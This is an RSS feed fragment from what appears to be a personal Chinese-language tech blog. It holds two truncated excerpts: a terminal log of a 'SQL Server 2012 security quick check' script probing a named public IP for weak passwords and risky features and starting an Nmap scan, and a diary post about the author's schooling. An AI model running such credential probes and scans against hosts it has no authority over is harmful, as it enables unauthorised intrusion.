            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/test_reccord_log/</guid>
            <pubDate></pubDate>
            <description><![CDATA[(base) nolan@nolan-MS-7C31:~$ bash test.sh
SQL Server 2012 安全快速檢測
目標: 61.216.24.135
[] 檢測 SQL Server Reporting Services...
[+] SSRS 未檢測到
[] 檢測常見弱密碼...
[+] 未發現空密碼
[*] 檢測高風險功能...
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 21:50 CST
Nmap scan report for 61-216-24-135.hinet-ip.hinet.net (61.2…]]></description>
            </item>
  <item>
            <title><![CDATA[2025_2]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2025_2/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2025_2/</guid>
            <pubDate></pubDate>
            <description><![CDATA[先說我自己吧，某種角度上來說我是個不會讀書的學生，到不是說真的是笨蛋，不如說我讀書苦讀，可能別人只要稍微讀過就贏我吧，欸，可是我社會科可是超強的，我可記得國中歷史老師說你們班上沒有人會段考100的啦，結果，不好意思，我只翻過歷史課本3頁吧，拿了100，可偏偏我強的是社會阿，我是要讀理組的學生，社會強有啥用，還記得我一直以來的性向測驗之類的所有能力都一直線貼在地板吧，爸媽總是說那不準，你成績根本不是這樣，到現在或許還真的是這樣吧，數學小考還會輸給班上倒數的人，我成績之所以在班上中上，或許只是其他科別幫忙拉上，順道一題我記得國中的測驗，推薦我去讀海事科，現在看來跟我做的事天差地遠
今天
今天是桃竹…]]></description>
            </item>
        </channel>
        </rss>